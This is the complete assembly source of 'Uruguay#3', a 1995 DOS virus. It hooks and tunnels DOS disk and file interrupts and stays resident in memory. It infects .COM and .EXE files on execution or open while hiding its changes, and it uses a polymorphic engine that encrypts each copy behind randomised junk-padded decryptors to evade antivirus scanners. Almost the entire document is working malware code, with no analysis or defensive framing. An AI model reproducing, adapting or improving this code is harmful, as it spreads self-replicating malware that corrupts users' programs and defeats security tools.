;---------------------------------------------------------------------------; ; Title: Uruguay#3 by F3161 ; ; (c) 1995 Malware Technology ; ; Thanks to Metabolis for the spelling corrections. ; ; Disclaimer: Malware Technology is not responsible for any problems ; ; caused due to assembly of this. ; ;---------------------------------------------------------------------------; code segment para 'code' assume cs:code start: jmp start2 timer equ 046Ch ; at 0:046Ch the lower byte of the system time ; counter is stored com_start equ 0100h ; at offset 100h a COM-program starts tunneled_13 dw ?,? ; vector of the tunneled int 13h old_13 dw ?,? ; original vector of int 13h tunneled_21 dw ?,? ; vector of the tunneled int 21h old_24 dw ?,? ; original vector of int 24h old_2A dw ?,? ; original vector of int 2ah first_three db 0CDh,020h,? ; original first three bytes of host program first_int21 db ?,?,?,?,? ; original first 5 bytes of tunneled int 21h new_three db 0E9h, ?, ? ; first three bytes at the beginning of an ; infected program is_exe db 0 ; host was an exe-file exe_launch dw ?,? ; address of the exe-launcher program verify db ? ; original verify-flag int13_error db ? ; error flag for virus' int 13h int21_AX dw ? ; here AX is stored during virus' int 21h command_com db 'COMMAND' com_file db '.COM' exe_file db '.EXE' file_attr dw ? ; original file attributes of new host file_size dw ? ; original file size of new host file_date dw ? ; original date/time of new host file_time dw ? start2: cld call flex1 ; flexible entrypoint flex1: pop bx ; get offset of flex1 push cs push bx mov ah,2 mov si,bx add si,offset text - offset flex1 ; offset off the message xor ax,ax mov es,ax mov cl,es:[timer] ; get lower byte of timer as random or cl,cl ; is zero ? jnz no_text ; no then do not show the text mov ah,2 mov dl,75h ; initial decryption value in al,61h or al,3 out 61h,al next_char1: mov al,0b6h out 43h,al mov al,dl out 42h,al lodsb ; get one char out 42h,al xor al,dl or al,al ; is zero ? jz text_end ; yes then this was the end of the text mov dl,al int 21h ; print the char on screen inc cl wait1: cmp es:[timer],cl jnz wait1 jmp next_char1 ; show next char text_end: in al,61h and al,0fch out 61h,al add cl,5ah wait2: cmp es:[timer],cl jnz wait2 no_text: push cs pop es ; Set exe-launcher adress mov word ptr [bx + offset exe_launch - offset flex1 + 2],cs mov ax,offset launch_exe - offset flex1 add ax,bx mov word ptr [bx + offset exe_launch - offset flex1],ax ; Restore first three bytes mov si,offset first_three - offset flex1 add si,bx mov di,com_start movsb movsw ; Installation check mov ax,3032h mov dx,1234h int 21h cmp ax,5678h jnz make_resident ; Restart original programm pop bx pop ax cmp byte ptr [bx + offset is_exe - offset flex1],1 jnz is_com1 ; no host was a com-file jmp dword ptr cs:[bx + offset exe_launch - offset flex1] ; jump to exe-launcher is_com1: push ax mov ax,com_start push ax xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor si,si xor di,di xor bp,bp retf make_resident: ; Block Keyboard mov al,74h out 43h,al mov al,0aah out 41h,al mov al,0 out 41h,al ; Find last MCB mov ax,cs dec ax mcb_loop: mov ds,ax cmp byte ptr ds:[0],5Ah jz last_mcb add ax,word ptr ds:[3] inc ax jmp mcb_loop ; Allocate memory from last MCB last_mcb: mov ax,13F4h ; *** shr ax,1 shr ax,1 shr ax,1 shr ax,1 inc ax sub word ptr ds:[3],ax ; Calculate allocated segment mov ax,ds add ax,word ptr ds:[3] inc ax ; Copy virus to new segment mov es,ax pop si sub si,offset flex1 xor di,di push cs pop ds mov cx,offset virus_length cld rep movsb ; startover in new segment mov cx,offset start_over push ax push cx retf ; startover point here start_over: call tunnel ; tunnel int 13h and 21h call patch_21 ; install int 21h ; start original program pop ax cld cmp is_exe,1 mov ds,ax jnz is_com2 jmp dword ptr cs:[exe_launch] is_com2: mov es,ax push ax push cs pop es:[2] mov ax,com_start push ax xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor si,si xor di,di xor bp,bp retf ; Set int AL vector to DS:DX set_int_al: pushf push bx push es mov ah,0 shl ax,1 shl ax,1 mov bx,ax xor ax,ax mov es,ax cli mov es:[bx],dx mov es:[bx+2],ds pop es pop bx popf ret ; Get int AL vector into ES:BX get_int_al: pushf mov ah,0 shl ax,1 shl ax,1 mov bx,ax xor ax,ax mov es,ax cli les bx,es:[bx] popf ret text DB 78h, 07h, 2Dh, 72h, 27h, 07h, 12h, 12h, 14h, 18h, 54h, 0Eh, 10h, 14h, 07h, 76h DB 3Fh, 1Bh, 07h, 06h, 7Eh, 07h, 5Ah, 22h, 1Dh, 08h, 15h, 13h, 0Ch, 00h, 08h, 01h DB 44h, 49h, 07h, 4Eh, 6Dh, 22h, 01h, 1Ah, 11h, 13h, 1Fh, 0Dh, 01h, 0Ah, 4Fh, 08h DB 7Dh, 07h, 07h, 12h, 12h, 14h, 18h, 70h, 09h, 42h, 1Bh, 59h, 66h, 75h, 02h, 07h DB 07h, 1Fh, 0Eh, 10h, 06h, 19h, 16h, 0Bh, 1Ch, 23h, 07h, 5Eh, 3Ch, 01h, 1Ah, 53h DB 49h, 1Ah, 53h, 41h, 41h, 52h, 17h, 16h, 16h, 04h, 13h, 11h, 0Bh, 48h, 56h, 1Fh DB 1Bh, 07h, 06h, 53h, 0Dh, 0Dh, 64h, 0Bh, 6Fh, 6Eh, 01h, 1Bh, 74h, 64h, 0Dh, 1Ah DB 07h, 06h, 1Bh, 0Bh, 17h, 01h, 11h, 6Bh, 23h, 07h, 07h, 07h, 0Ah ;---------------------------------------------------------------------- ; Tunneler code here ;---------------------------------------------------------------------- tunneled_seg dw ? ; segment of tunneled int old_vector dw ?,? ; old vector of int to tunnel old_int01 dw ?,? ; old int 01 vector tun_success db ? ; tunneling was successful tunneled_offs dw ? ; offset of tunneled int tun_AX dw ? ; AX is saved here during int 01 tun_BP dw ? ; BP is saved here during int 01 ; the tunnelers int 01 (single-step-interrupt) tun_int01: cmp byte ptr cs:tun_success,1 ; was successful ? jnz tun_goon ; no then try to tunnel now iret tun_goon: mov cs:tun_AX,ax ; save registers mov cs:tun_BP,bp mov bp,sp mov ax,[bp+2] ; segment of interrupted routine cmp ax,cs:tunneled_seg ; after DOS-data area ? ja no_success ; yes then it is useless mov cs:tunneled_seg,ax ; else save the segment mov cs:tun_success,1 ; set success flag mov ax,[bp+4] ; switch single step mode off and ax,0FEFFh mov [bp+4],ax mov ax,[bp] ; save offset of mov cs:tunneled_offs,ax ; interrupted routine no_success: mov ax,cs:tun_AX ; restore registers mov bp,cs:tun_BP iret assume ds:code ; Tunnel int 21h and 13h tunnel: mov al,1 call get_int_al ; get int 01 vector push cs pop ds mov old_int01,bx ; and save it mov old_int01+2,es mov al,1 mov dx,offset tun_int01 call set_int_al ; set new int 01 mov al,21h call get_int_al ; get int 21h vector mov tunneled_21,bx ; and save it mov tunneled_21+2,es mov al,21h call tunnel_al ; tunnel int 21h cmp cs:tun_success,1 ; was successful jnz no_succ1 ; no mov ax,cs:tunneled_offs ; else save result mov cs:tunneled_21,ax mov ax,cs:tunneled_seg mov cs:tunneled_21+2,ax no_succ1: mov al,13h call get_int_al ; get int 13h vector mov cs:tunneled_13,bx mov cs:tunneled_13+2,es mov al,13h call tunnel_al ; tunnel int 13h cmp cs:tun_success,1 ; was successful jnz no_succ2 ; no mov ax,cs:tunneled_offs ; else save result mov cs:tunneled_13,ax mov ax,cs:tunneled_seg mov cs:tunneled_13+2,ax no_succ2: mov al,1 lds dx,dword ptr cs:old_int01 call set_int_al ; restore old int 01 vector ret ; tunnel int AL tunnel_al: call get_int_al ; get int vector mov cs:old_vector,bx mov cs:old_vector+2,es mov cs:tun_success,0 ; clear success flag mov ax,1203h int 2fh ; get DOS-data area segment mov cs:tunneled_seg,ds cli pushf pop ax or ax,0100h ; switch single step mode on push ax popf mov ah,0ffh ; just to make sure it runs mov dl,0 ; trough all instances of pushf ; the interrupt chain call dword ptr cs:old_vector ; call the int pushf pop ax and ax,0FEFFh ; switch single step mode off push ax popf sti ret db 20 dup (?) ;-------------------------------------------------------------------------- ; The infector code ;-------------------------------------------------------------------------- ; critical error handler int_24: mov al,0 iret ; int 13h with error flag int_13: cmp cs:int13_error,1 ; was already an error ? jz int13_failed ; yes pushf ; else call tunneled int 13h call dword ptr cs:tunneled_13 jb int13_failed ; error retf 2 int13_failed: mov cs:int13_error,1 ; set error flag mov ah,10 ; error code stc retf 2 ; virus int 21 test1: cmp ax,3032h ; Installation check ? jnz nothin ; no cmp dx,1234h ; Installation check ? jnz nothin ; no mov ax,5678h ; the magic value popf iret nothin: jmp end_21 ; The entry point of int 21h is here int_21: pushf sti mov cs:int21_AX,ax ; save AX cmp ax,4b00h ; Run a program ? jz try_it ; Yes cmp ax,3d00h ; Open a file for reading ? jnz test1 ; No call test_exec ; Check if it seems to be executable jb nothin ; No does not look like executable try_it: push bx push cx push dx push di push si push bp push ds push es call patch_13 ; insert that error flag stuff into int 13h mov si,dx ; SI := offset of filename cld next_char2: lodsb cmp al,0 ; last char ? jnz next_char2 ; No, repeat until dec si dec si ; SI now points to last char before \0 std mov di,offset command_com + 10 push cs pop es mov cx,11 repz cmpsb ; the filename is 'COMMAND.COM' ? jnz not_command_com ; no is not jmp leave_21 not_command_com: mov cs:is_exe,0 ; clear is_exe flag mov ax,4300h call call_old_21 ; get file attributes mov cs:file_attr,cx jnb goon1 jmp leave_21 goon1: mov ax,cx and ax,4 ; system file ? jz goon2 ; no jmp leave_21 goon2: cmp cx,20h jz is_archived mov ax,4301h ; set new file attributes mov cx,20h call call_old_21 cmp cs:int13_error,1 jnz is_archived jmp leave_21 is_archived: push ds push dx mov ax,3d02h ; open file for read/write call call_old_21 mov bx,ax mov ax,4202h ; seek to end of file xor cx,cx xor dx,dx call call_old_21 or dx,dx ; file < 10000h ? jnz close_file ; no cmp ax,0F400h ; file < 0F400h ? ja close_file ; no cmp ax,0200h ; file > 00200h ? jbe close_file ; no mov cs:file_size,ax ; save file size push ax mov cx,17h div cx pop ax or dx,dx ; filesize MOD 17h = 0 ? jz close_file ; yes, then seems to be infected call exe_or_com ; determine whether the file is exe or com mov ah,40h ; write new first three bytes mov cx,3 push cs pop ds mov dx,offset new_three call call_old_21 cmp cs:int13_error,1 jz close_file mov ax,4202h ; seek to 1 Byte after the end xor cx,cx ; of the file mov dx,1 call call_old_21 mov ax,cs:file_size add ax,com_start mov cs:start_offset,ax ; starting offset for the ; decryptor call mutate ; the polymorph engine of the uruguay call round_size ; make file size multiple of 17h mov ah,40h ; append the virus to the file mov dx,offset virus_length push cs pop ds call call_old_21 mov ax,5701h ; restore original date/time of file mov cx,cs:file_date mov dx,cs:file_time call call_old_21 close_file: mov ah,3eh ; close the file call call_old_21 pop dx pop ds mov ax,4301h ; restore original file mov cx,cs:file_attr ; attributes cmp cx,20h jz leave_21 call call_old_21 leave_21: call unpatch_13 ; remove the error flag stuff from int 13h pop es pop ds pop bp pop si pop di pop dx pop cx pop bx jmp end_21 db 3 dup (?) call_old_21: call unpatch_21 pushf call dword ptr cs:tunneled_21 call patch_21 ret end_21: push bx push dx push ds push es call unpatch_21 ; uninstall int 21h mov ax,cs mov ds,ax mov al,2ah call get_int_al ; get int 2Ah vector mov old_2a,bx ; and save it mov old_2a+2,es mov al,2ah mov dx,offset int_2a call set_int_al ; set new int 2Ah pop es pop ds pop dx pop bx popf mov ax,cs:int21_AX ; restore AX jmp dword ptr cs:tunneled_21 ; jump to original int 21h ; This int is allways called by DOS' int 21h int_2a: push ax push dx push ds call patch_21 ; install int 21h again mov al,2ah lds dx,dword ptr cs:old_2a call set_int_al ; restore old int 2ah vector pop ds pop dx pop ax jmp dword ptr cs:old_2a ; jump to old int 2ah ; Install the int 21h patch patch_21: pushf push ax push si push di push ds push es lds si,dword ptr cs:tunneled_21 push cs pop es mov di,offset first_int21 cld movsb ; Save first five bytes of code from movsw ; tunneled int 21h movsw les di,dword ptr cs:tunneled_21 mov al,0EAh stosb ; insert a JMP FAR there mov ax,offset int_21 stosw mov ax,cs stosw pop es pop ds pop di pop si pop ax popf ret ; Removes the int 21h patch unpatch_21: pushf push si push di push ds push es push cs pop ds mov si,offset first_int21 les di,dword ptr tunneled_21 cld movsb ; Restore first five byte of tunneled movsw ; int routine movsw pop es pop ds pop di pop si popf ret ; Install the int 13h add-on patch_13: push bx push dx push ds push es mov ah,54h call call_old_21 mov cs:verify,al ; Get DOS-verify flag and save it mov ax,2e00h ; then turn verify off call call_old_21 mov al,24h call get_int_al ; Get int 24h vector mov cs:old_24,bx mov cs:old_24+2,es mov al,24h mov dx,offset int_24 push cs pop ds ; set new critical error call set_int_al ; handler (int 24h) mov al,13h call get_int_al ; get int 13h vector mov cs:old_13,bx mov cs:old_13+2,es mov al,13h mov dx,offset int_13 push cs pop ds call set_int_al ; set new int 13h mov cs:int13_error,0 ; clear the error flag pop es pop ds pop dx pop bx ret ; Remove the int 13h add-on unpatch_13: mov ax,cs:old_24+2 mov ds,ax mov dx,cs:old_24 mov al,24h call set_int_al ; restore old int 24h mov ds,cs:old_13+2 mov dx,cs:old_13 mov al,13h call set_int_al ; restore old int 13h mov ah,2eh ; restore DOS-verify flag mov al,cs:verify call call_old_21 ret ; Determine whether a program is com or exe ; Input: ax = filesize ; is_exe = 0 exe_or_com: dec ax dec ax ; => filesize - 2 mov word ptr cs:new_three+1,ax ; save jump-in offset mov ax,5700h ; get file's date/time call call_old_21 mov cs:file_date,cx ; and save them mov cs:file_time,dx mov ax,4200h ; seek to top of file xor cx,cx xor dx,dx call call_old_21 mov ah,3fh ; read first three byte mov cx,3 ; to buffer first_three push cs pop ds mov dx,offset first_three call call_old_21 mov di,offset first_three mov ax,cs mov es,ax cmp word ptr es:[di],05A4Dh ; EXE ? jz exe_is ; Yes cmp word ptr es:[di],04D5Ah ; EXE ? jnz com_is ; No it is com exe_is: mov cs:is_exe,1 ; set is_exe flag com_is: mov ax,4200h ; again seek to top of file xor cx,cx xor dx,dx call call_old_21 ret ; make the filesize of an infected program a multiple of 17h round_size: push ax push bx push dx push cx add cx,cs:file_size ; virus + hosts size mov ax,cx xor dx,dx mov bx,17h div bx mov bx,17h sub bx,dx ; => 17h - (size MOD 17h) pop cx add cx,bx ; add the fix-up dec cx pop dx pop bx pop ax ret ; test if a file fits into '*.COM' or '*.EXE' test_exec: push ax push si push di push es mov si,dx push cs pop es cld next_char3: lodsb ; load a char or al,al ; last ? jnz next_char3 ; no, repeat until sub si,5 mov di,offset com_file mov cx,4 push si push cx repz cmpsb ; compare with '.COM' pop cx pop si jz executable ; ok is .COM mov di,offset exe_file mov cx,4 repz cmpsb ; compare with '.EXE' jz executable ; ok is .EXE pop es pop di pop si pop ax stc ; is neither .COM nor .EXE ret executable: pop es pop di pop si pop ax clc ; ok has a executable extension ret ;-------------------------------------------------------------------- ; The EXE-launcher ;-------------------------------------------------------------------- ; This piece of code is run in the PSP-Segment of an infected program ; that once was an exe-file to do the relocation stuff. launch_exe: call flex2 ; flexible entry point flex2: pop bx ; get offset of flex2 mov ax,cs mov ds,ax mov es,ax add ax,010h ; right after PSP-Segment ; it is the base segment for relocation mov cx,ds:[com_start+0Eh] ; initial SS add cx,ax ; relocate push cx mov cx,ds:[com_start+16h] ; initial CS add cx,ax : relocate mov word ptr ds:[bx+offset jmp_far- offset flex2 +3],cx ; save into JMP FAR mov dx,ds:[com_start+10h] ; initial SP push dx mov dx,ds:[com_start+14h] ; initial IP mov word ptr ds:[bx+offset jmp_far- offset flex2 +1],dx ; save into JMP FAR mov di,ds:[com_start+18h] ; offset of relocation table mov dx,ds:[com_start+08h] ; size of exe-header mov cl,4 shl dx,cl ; => byte size of exe-header mov cx,ds:[com_start+06h] ; number of entries jcxz no_reloc ; there are no entries reloc_loop: lds si,cs:[com_start+di] ; load address to relocate add di,4 ; next entry mov bp,ds add bp,cs:[com_start+08h] ; add size of exe-header add bp,ax ; add base segment mov ds,bp ; put it back in DS add word ptr ds:[si],ax ; now relocate there loop reloc_loop ; do for all entries no_reloc: push cs pop ds mov di,com_start mov si,dx add si,di mov cx,bx sub cx,si cld rep movsb ; delete all the header stuff pop ax pop bx cli mov ss,bx mov sp,ax sti xor ax,ax xor bx,bx xor dx,dx xor si,si xor di,di xor bp,bp jmp_far db 0EAh, ?,?,?,? ; jump into the program ;-------------------------------------------------------------------- ; The Mutation Engine of the uruguay ;-------------------------------------------------------------------- ; 10 one-byte dummy instructions one_byte DB 0F8h ; CLC ; 069B DB 0FCh ; CLD DB 0F5h ; CMC DB 0F9h ; STC DB 0FBh ; STI DB 090h ; NOP DB 042h ; INC DX DB 045h ; INC BP DB 04Ah ; DEC DX DB 04Dh ; DEC BP ; 55 two-byte dummy instructions two_byte DW 0D003h ; ADD DX,AX ; 06A5 DW 0D303h ; ADD DX,BX DW 0D103h ; ADD DX,CX DW 0D203h ; ADD DX,DX DW 0D603h ; ADD DX,SI DW 0D013h ; ADC DX,AX DW 0D313h ; ADC DX,BX DW 0D113h ; ADC DX,CX DW 0D213h ; ADC DX,DX DW 0D613h ; ADC DX,SI DW 0D503h ; ADD DX,BP DW 0EA03h ; ADD BP,DX DW 0D513h ; ADD DX,BP DW 0EA13h ; ADC BP,DX DW 000EBh ; JMP $+2 DW 05A55h ; PUSH BP; POP DX DW 05D52h ; PUSH DX; POP BP DW 0DAF7h ; NEG DX DW 0DDF7h ; NEG BP DW 0DAF6h ; NEG DL DW 0DEF6h ; NEG DH DW 0D2F7h ; NOT DX DW 0D5F7h ; NOT BP DW 0D2F6h ; NOT DL DW 0D6F6h ; NOT DH DW 0D00Bh ; OR DX,AX DW 0D00Ah ; OR DL,AL DW 0D2D1h ; RCL DX,1 DW 0D5D1h ; RCL BP,1 DW 0DAD1h ; RCR DX,1 DW 0DDD1h ; RCR BP,1 DW 0E2D1h ; SHL DX,1 DW 0E5D1h ; SHL BP,1 DW 0E2D0h ; SHK DL,1 DW 0E6D0h ; SHL DH,1 DW 0E2D1h ; SHL DX,1 DW 0E5D1h ; SHL BP,1 DW 0EAD0h ; SHR DL,1 DW 0EED0h ; SHR DH,1 DW 0C2FEh ; INC DL DW 0C6FEh ; INC DH DW 0CAFEh ; DEC DL DW 0CEFEh ; DEC DH DW 0D233h ; XOR DX,DX DW 0F632h ; XOR DH,DH DW 0D232h ; XOR DL,DL DW 0D033h ; XOR DX,AX DW 0D02Bh ; SUB DX,AX DW 0D32Bh ; SUB DX,BX DW 0D12Bh ; SUB DX,CX DW 0D22Bh ; SUB DX,DX DW 0D62Bh ; SUB DX,SI DW 0EA87h ; XCHG BP,DX DW 0F286h ; XCHG DH,DL DW 0D686h ; XCHG DL,DH ; 8 three-byte dummy instructions three_byte DB 26h, 32h, 15h ; ES: XOR DL,[DI] ; 0713 DB 3Eh, 32h, 14h ; DS: XOR DL,[SI] DB 26h, 33h, 15h ; ES: XOR DX,[DI] DB 3Eh, 33h, 14h ; DS: XOR DX,[SI] DB 3Eh, 02h, 14h ; DS: ADD DL,[SI] DB 3Eh, 03h, 14h ; DS: ADD DX,[SI] DB 26h, 02h, 15h ; ES: ADD DL,[DI] DB 26h, 03h, 15h ; ES: ADD DX,[DI] ; SUB/ADD/INC - Counter counting DB 0BEh ; MOV SI, ; 072B DB 46h ; INC SI DB 83h, 0C6h, 02h ; ADD SI,2 DB 81h, 0EEh, 0FEh, 0FFh ; SUB SI,-2 ; DB 0BFh ; MOV DI, DB 47h ; INC DI DB 83h, 0C7h, 02h ; ADD DI,2 DB 81h, 0EFh, 0FEh, 0FFh ; SUB DI,-2 ; DB 0BBh ; MOV BX, DB 43h ; INC BX DB 83h, 0C3h, 02h ; ADD BX,2 DB 81h, 0EBh, 0FEh, 0FFh ; SUB BX,-2 ; @0746 DB 0B8h ; MOV AX, DB 0Dh ; OR AX, DB 05h ; ADD AX, DB 35h ; XOR AX, ; @0749 DB 0B9h ; MOV CX, DB 0C9h ; 81 C9 OR CX, DB 0C1h ; 81 C1 ADD CX, DB 0F1h ; 81 F1 XOR CX, ; Segment prefixes prefixes DB 3Eh ; DS: ; 074E DB 26h ; ES: DB 2Eh ; CS: DB 36h ; SS: ; XOR/ADD/SUB - Encryption ; 1. Byte first_byte DB 31h, 01h, 29h ; XOR/ADD/SUB ; 0752 ; 2. Byte second_byte DB 04h, 05h, 07h ; SI/DI/BX ; 0755 all_sets db ? set1 db ? set2 db ? set3 db ? si_di_bx db ? value dw ? rand_size dw ? start_offset dw ? mov_pos dw ? xor_sub_add db ? full_length dw ? mutate: push ax push bx push si push di push ds push es push cs pop ds mov al,32h call random ; random value add bx,offset virus_length+2 ; add virus size to it shr bx,1 ; DIV 2 mov rand_size,bx ; => randomized virus size in words xor ax,ax mov es,ax mov ax,es:[timer] ; get a random value from timer mov value,ax ; as en/decryption value push cs pop es cld mov di,offset virus_length ; store the decryptor right ; after the virus mov set1,0 ; none of the 3 sets used yet mov set2,0 mov set3,0 ; generate init instructions gen_loop1: mov al,3 call random call gen_from_set cmp all_sets,1 ; all sets used jnz gen_loop1 ; no, repeat until ; now generate somethin like XOR CS:[BX],AX call rand_instruct mov al,4 call random ; random value for prefix push di mov al,prefixes[bx-1] stosb mov al,3 call random ; random value for decryption mov xor_sub_add,bl ; type mov al,first_byte[bx-1] stosb ; store 1. byte mov bl,si_di_bx mov al,second_byte[bx-1] stosb ; store 2. byte call rand_instruct ; generate dummies ; Now generate the instruction(s) to increase the pointer by 2 ; Therefore it chooses between the register used for pointer ; (si_dx_bx) and the method ( inc, add, sub ). dec bl ; it still holds si_di_bx before this mov bh,bl shl bl,1 shl bl,1 shl bl,1 add bl,bh inc bl ; ( si_di-bx - 1 ) * 9 + 1 mov cl,bl ; save it to cl mov al,3 call random ; random value for method mov al,bl mov bl,cl ; restore from cl mov bh,0 add bx,offset counting ; add offset of table cmp al,1 jz case_1 ; method 1 cmp al,2 jz case_2 ; method 2 ; method 3 ( SUB reg16,-2 ) add bx,4 ; offset 4 of table entry mov ax,ds:[bx] ; get the 4 bytes and store them stosw mov ax,ds:[bx+2] stosw jmp end_branch ; method 2 ( ADD reg16,2 ) case_2: inc bx ; offset 1 of table entry mov ax,ds:[bx] ; get the 3 bytes and store them stosw mov al,ds:[bx+2] stosb jmp end_branch ; method 1 ( INC reg16 ) case_1: mov al,ds:[bx] ; get the byte from offset 0 of entry stosb ; and store it call rand_instruct ; insert dummies stosb ; again an INC ; here all methods meet again end_branch: call rand_instruct ; generate dummies push di mov si,offset start inc di ; leave 2 bytes free for LOOP inc di mov cx,rand_size rep movsw ; put the virus after it pop di ; offset of LOOP mov ax,di pop bx ; offset of prefix-code sub ax,bx ; offset between them mov ah,0feh sub ah,al ; => - (offset+2) mov al,0E2h ; put LOOP opcode stosb mov al,ah ; put offset stosb mov si,di push di mov ax,start_offset ; starting offset of decryptor add ax,di ; + offset of loop end sub ax,offset virus_length+1 ; - (virus length+1) mov di,mov_pos stosw ; put it into the pointer init pop di ; now enccrypt all the stuff mov cx,rand_size mov bx,value mov al,xor_sub_add ; method of decryption sub si,2 ; also encrypt the LOOP itself mov di,si cmp al,1 ; decrypted by XOR ? jz xor_encrypt ; yes cmp al,2 ; decrypted by ADD ? jz sub_encrypt ; yes jmp add_encrypt ; decrypted by SUB xor_encrypt: lodsw xor ax,bx stosw loop xor_encrypt jmp encrypted sub_encrypt: lodsw sub ax,bx stosw loop sub_encrypt jmp encrypted add_encrypt: lodsw add ax,bx stosw loop add_encrypt ; encryption done, now calc the size to write encrypted: sub si,offset virus_length mov full_length,si pop es pop ds pop di pop si pop bx pop ax mov cx,cs:full_length ret ; back ; This generates the initialisation instructions for the registers used ; in the decryptor. Each time called it generates up to one instruction. ; If all registers are initialisized it sets all_sets to 1 gen_from_set: mov al,set1 and al,set2 and al,set3 mov all_sets,al ; set all_set if all is done cmp set1[bx-1],1 ; did i already generate from ; this set ? jnz unused ; No then do it now ret unused: mov set1[bx-1],1 ; set used-flag call rand_instruct ; generate dummy instructions cmp bl,1 jz c_1 ; use Set 1 cmp bl,2 jz c_2 ; use Set 2 jmp c_3 ; use Set 3 ; Set 1 ; MOV SI/DX/BX,value16 ; for init the pointer c_1: mov al,3 call random ; random value mov si_di_bx,bl ; save to remember wich reg is used dec bl mov bh,bl shl bl,1 shl bl,1 shl bl,1 add bl,bh ; ( x - 1 ) * 9 mov bh,0 mov al,counting[bx] ; get one byte from table stosb ; and store it mov mov_pos,di ; save the actual position add di,2 ; and leave 2 bytes free for the value16 ret ; Set 2 ; MOV/OR/ADD AX,value16 ; for init the decryption value c_2: mov al,4 call random ; random value mov al,@0746[bx-1] ; get one byte from table stosb ; and store mov ax,value ; and then put the value after it stosw ret ; Set 3 ; MOV/OR/ADD CX,value16 ; for init the counter for decryption c_3: mov al,4 call random ; random value mov al,@0749[bx-1] ; get one byte from table cmp bl,1 ; if it is the move then only write jz c_3_1 ; one byte else two mov ah,al mov al,081h ; first store 081h stosb mov al,ah c_3_1: stosb ; and then the stuff from the table mov ax,rand_size ; followed by the randomized virus-size stosw ret ; generate 2 up to 12 dummy instructions rand_instruct: push ax push bx push cx mov al,0bh call random ; random value inc bl mov cx,bx ; use as counter gen_loop: call gen_dummy ; generate a single dummy instruction loop gen_loop pop cx pop bx pop ax ret ; Generate one dummy instruction gen_dummy: push ax push bx mov al,5 call random ; Get random value cmp bl,1 jz byte1 ; generate a one byte instruction cmp bl,2 jz byte3 ; generate a three byte instruction ; in all other cases generate a two byte instruction mov al,37h call random ; random value dec bl ; -1 shl bl,1 ; *2 mov ax,two_byte[bx] ; get instruction from table stosw ; and store it jmp done_dummy ; Generate a three byte instruction byte3: mov al,8 call random ; random value dec bl ; -1 mov bh,bl shl bl,1 add bl,bh ; *3 mov bh,0 mov al,three_byte[bx] ; get instruction from table stosb ; and store it mov ax,word ptr three_byte[bx+1] stosw jmp done_dummy ; Generate a one byte instruction byte1: mov al,0ah call random ; random value dec bl mov al,one_byte[bx] ; get from table stosb ; and store it done_dummy: pop bx pop ax ret save_rand dw 0784h ; Get a random value ; Input: AL = upper border ; Output: AL = BX = random value ; 0 < random value <= upper border random: push si push ds push ax mov ax,save_rand cmp ax,1f40h jb goon_rand xor ax,ax mov save_rand,ax goon_rand: mov si,ax mov ax,0fc00h mov ds,ax pop bx lodsb normalisize: cmp al,bl jb rand_ok sub al,bl jmp normalisize rand_ok: inc al mov bl,al mov bh,0 pop ds pop si add save_rand,bx ret ; here is the end public virus_length virus_length: code ends end start